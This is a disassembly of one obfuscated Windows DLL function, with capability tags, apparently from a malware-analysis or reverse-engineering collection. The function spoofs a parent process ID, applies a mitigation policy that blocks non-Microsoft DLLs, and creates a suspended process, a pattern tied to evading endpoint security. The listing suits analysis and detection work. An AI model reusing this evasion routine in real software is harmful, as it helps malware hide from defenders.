Function at 0x66144ab0
Capabilities:
Create process on windows
Create process suspended
Protect spawned processes with mitigation policies
Spoof parent pid

Disassembly:
push rbp
sub rsp, 0xa0
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x30], r8
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0xc], 0xbc923c42
mov eax, dword [rbp - 0xc]
mov dword [rbp - 0x34], eax
sub eax, 0x801e4e2a
je 0x66144edb
jmp 0x66144aed
mov eax, dword [rbp - 0x34]
sub eax, 0x82acc5ac
je 0x661452a6
jmp 0x66144b00
mov eax, dword [rbp - 0x34]
sub eax, 0xac832772
je 0x66145052
jmp 0x66144b13
mov eax, dword [rbp - 0x34]
sub eax, 0xb5f0d63c
je 0x661450a6
jmp 0x66144b26
mov eax, dword [rbp - 0x34]
sub eax, 0xbc923c42
je 0x66144bfc
jmp 0x66144b39
mov eax, dword [rbp - 0x34]
sub eax, 0xbf5fc4b5
je 0x66144fa7
jmp 0x66144b4c
mov eax, dword [rbp - 0x34]
sub eax, 0xc9f99d27
je 0x66144f02
jmp 0x66144b5f
mov eax, dword [rbp - 0x34]
sub eax, 0xd02263e5
je 0x66144c4b
jmp 0x66144b72
mov eax, dword [rbp - 0x34]
sub eax, 0xd31b0292
je 0x66144ef6
jmp 0x66144b85
mov eax, dword [rbp - 0x34]
sub eax, 0xe4f01159
je 0x6614509c
jmp 0x66144b98
mov eax, dword [rbp - 0x34]
sub eax, 0x1f0b89c7
je 0x66144f4c
jmp 0x66144bab
mov eax, dword [rbp - 0x34]
sub eax, 0x20c5af52
je 0x661452b6
jmp 0x66144bbe
mov eax, dword [rbp - 0x34]
sub eax, 0x272efac1
je 0x66144fd1
jmp 0x66144bd1
mov eax, dword [rbp - 0x34]
sub eax, 0x52000501
je 0x66144fb3
jmp 0x66144be4
mov eax, dword [rbp - 0x34]
sub eax, 0x533c2400
je 0x66144ecf
jmp 0x66144bf7
jmp 0x661452bd
mov eax, dword [sym.some4.dll_x.76]
mov ecx, dword [sym.some4.dll_y.77]
mov edx, eax
add edx, 0x741a622f
sub edx, 1
sub edx, 0x741a622f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb5f0d63c
mov ecx, 0xd02263e5
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0xc], eax
jmp 0x661452bd
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov eax, 0x10
mov qword [rbp - 0x58], rax
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
mov eax, 0x70
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp - 0x58]
mov r9, rsp
mov qword [rbp + 8], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp - 0x58]
mov r9, rsp
mov qword [rbp - 0x50], r9
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp - 0x40]
mov r9, rsp
mov qword [rbp - 0x48], r9
mov qword [rbp], r8
mov qword [rbp - 8], rdx
mov qword [rax], rcx
mov rcx, qword [rbp + 8]
xor edx, edx
mov r8d, 0x70
sub rsp, 0x20
call sub.msvcrt.dll_memset
mov rcx, qword [rbp - 0x20]
add rsp, 0x20
xor edx, edx
mov r8d, 0x18
sub rsp, 0x20
call sub.msvcrt.dll_memset
mov r9, qword [rbp - 0x50]
add rsp, 0x20
xor eax, eax
mov ecx, eax
mov edx, 2
xor r8d, r8d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x50]
mov r8, qword [rax]
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9, qword [rbp - 0x50]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp + 8]
mov qword [rax + 0x68], rcx
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 0x68]
mov edx, 2
xor r8d, r8d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov r9, qword [rbp - 0x48]
add rsp, 0x20
movabs rax, 0x100000000000
mov qword [r9], rax
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 0x68]
xor edx, edx
mov r8d, 0x20007
xor eax, eax
sub rsp, 0x40
mov qword [rsp + 0x20], 8
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov r9, qword [rbp - 0x40]
add rsp, 0x40
mov rax, qword [rbp + 8]
mov rcx, qword [rax + 0x68]
xor edx, edx
mov r8d, 0x20000
xor eax, eax
sub rsp, 0x40
mov qword [rsp + 0x20], 8
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
add rsp, 0x40
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp + 8]
mov dword [rcx], 0x70
mov rcx, qword [rbp + 8]
mov dword [rcx + 0x3c], 0x80001
mov rcx, qword [rbp + 8]
mov word [rcx + 0x40], 0
mov rdx, qword [rbp - 8]
mov r10, qword [rbp + 8]
xor ecx, ecx
mov r9d, ecx
sub rsp, 0x50
mov rcx, r9
mov r8, r9
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 0x808000c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
mov dword [rbp + 0x14], eax
mov ecx, dword [sym.some4.dll_x.76]
mov eax, dword [sym.some4.dll_y.77]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb5f0d63c
mov ecx, 0x533c2400
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0xc], eax
jmp 0x661452bd
mov dword [rbp - 0xc], 0x801e4e2a
jmp 0x661452bd
mov edx, dword [rbp + 0x14]
mov eax, 0xd31b0292
mov ecx, 0xc9f99d27
cmp edx, 0
cmovne eax, ecx
mov dword [rbp - 0xc], eax
jmp 0x661452bd
mov dword [rbp - 0xc], 0xc9f99d27
jmp 0x661452bd
mov eax, dword [sym.some4.dll_x.76]
mov ecx, dword [sym.some4.dll_y.77]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82acc5ac
mov ecx, 0x1f0b89c7
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0xc], eax
jmp 0x661452bd
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x18], rax
mov eax, dword [sym.some4.dll_x.76]
mov ecx, dword [sym.some4.dll_y.77]
mov edx, eax
sub edx, 0x686c10ea
sub edx, 1
add edx, 0x686c10ea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x82acc5ac
mov ecx, 0xbf5fc4b5
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0xc], eax
jmp 0x661452bd
mov dword [rbp - 0xc], 0x52000501
jmp 0x661452bd
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
add rsp, 0x20
mov dword [rbp - 0xc], 0x272efac1
jmp 0x661452bd
mov ecx, dword [sym.some4.dll_x.76]
mov eax, dword [sym.some4.dll_y.77]
mov edx, ecx
sub edx, 0xc0531c21
sub edx, 1
add edx, 0xc0531c21
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x20c5af52
mov ecx, 0xac832772
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0xc], eax
jmp 0x661452bd
mov eax, dword [sym.some4.dll_x.76]
mov ecx, dword [sym.some4.dll_y.77]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20c5af52
mov ecx, 0xe4f01159
test dl, 1
cmovne eax, ecx
mov dword [rbp - 0xc], eax
jmp 0x661452bd
mov rax, qword [rbp - 0x18]
lea rsp, [rbp + 0x20]
pop rbp
ret
mov r9, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x28]
mov eax, 0x10
mov qword [rbp - 0x80], rax
call fcn.66182470
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x68], rax
mov eax, 0x70
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp - 0x80]
mov rcx, rsp
mov qword [rbp - 0x60], rcx
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp - 0x80]
mov r10, rsp
mov qword [rbp - 0x78], r10
call fcn.66182470
sub rsp, rax
mov rax, qword [rbp - 0x68]
mov r10, rsp
mov qword [rbp - 0x70], r10
mov qword [rbp], r9
mov qword [rbp - 8], r8
mov qword [rax], rdx
xor edx, edx
mov r8d, 0x70
sub rsp, 0x20
call sub.msvcrt.dll_memset
mov rcx, qword [rbp - 0x20]
add rsp, 0x20
xor edx, edx
mov r8d, 0x18
sub rsp, 0x20
call sub.msvcrt.dll_memset
mov r9, qword [rbp - 0x78]
add rsp, 0x20
xor eax, eax
mov ecx, eax
mov edx, 2
xor r8d, r8d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x78]
mov r8, qword [rax]
xor edx, edx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r9, qword [rbp - 0x78]
add rsp, 0x20
mov rcx, rax
mov rax, qword [rbp - 0x60]
mov qword [rax + 0x68], rcx
mov rcx, qword [rax + 0x68]
mov edx, 2
xor r8d, r8d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov r9, qword [rbp - 0x70]
add rsp, 0x20
mov rax, qword [rbp - 0x60]
movabs rcx, 0x100000000000
mov qword [r9], rcx
mov rcx, qword [rax + 0x68]
xor edx, edx
mov r8d, 0x20007
xor eax, eax
sub rsp, 0x40
mov qword [rsp + 0x20], 8
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov r9, qword [rbp - 0x68]
add rsp, 0x40
mov rax, qword [rbp - 0x60]
mov rcx, qword [rax + 0x68]
xor edx, edx
mov r8d, 0x20000
xor eax, eax
sub rsp, 0x40
mov qword [rsp + 0x20], 8
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov r10, qword [rbp - 0x60]
add rsp, 0x40
mov rax, qword [rbp - 0x20]
mov dword [r10], 0x70
mov dword [r10 + 0x3c], 0x80001
mov word [r10 + 0x40], 0
mov rdx, qword [rbp - 8]
xor ecx, ecx
mov r9d, ecx
sub rsp, 0x50
mov rcx, r9
mov r8, r9
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x28], 0x808000c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
mov dword [rbp - 0xc], 0xd02263e5
jmp 0x661452bd
mov rax, qword [rbp + 8]
mov dword [rbp - 0xc], 0x1f0b89c7
jmp 0x661452bd
mov dword [rbp - 0xc], 0xac832772
jmp 0x66144ad7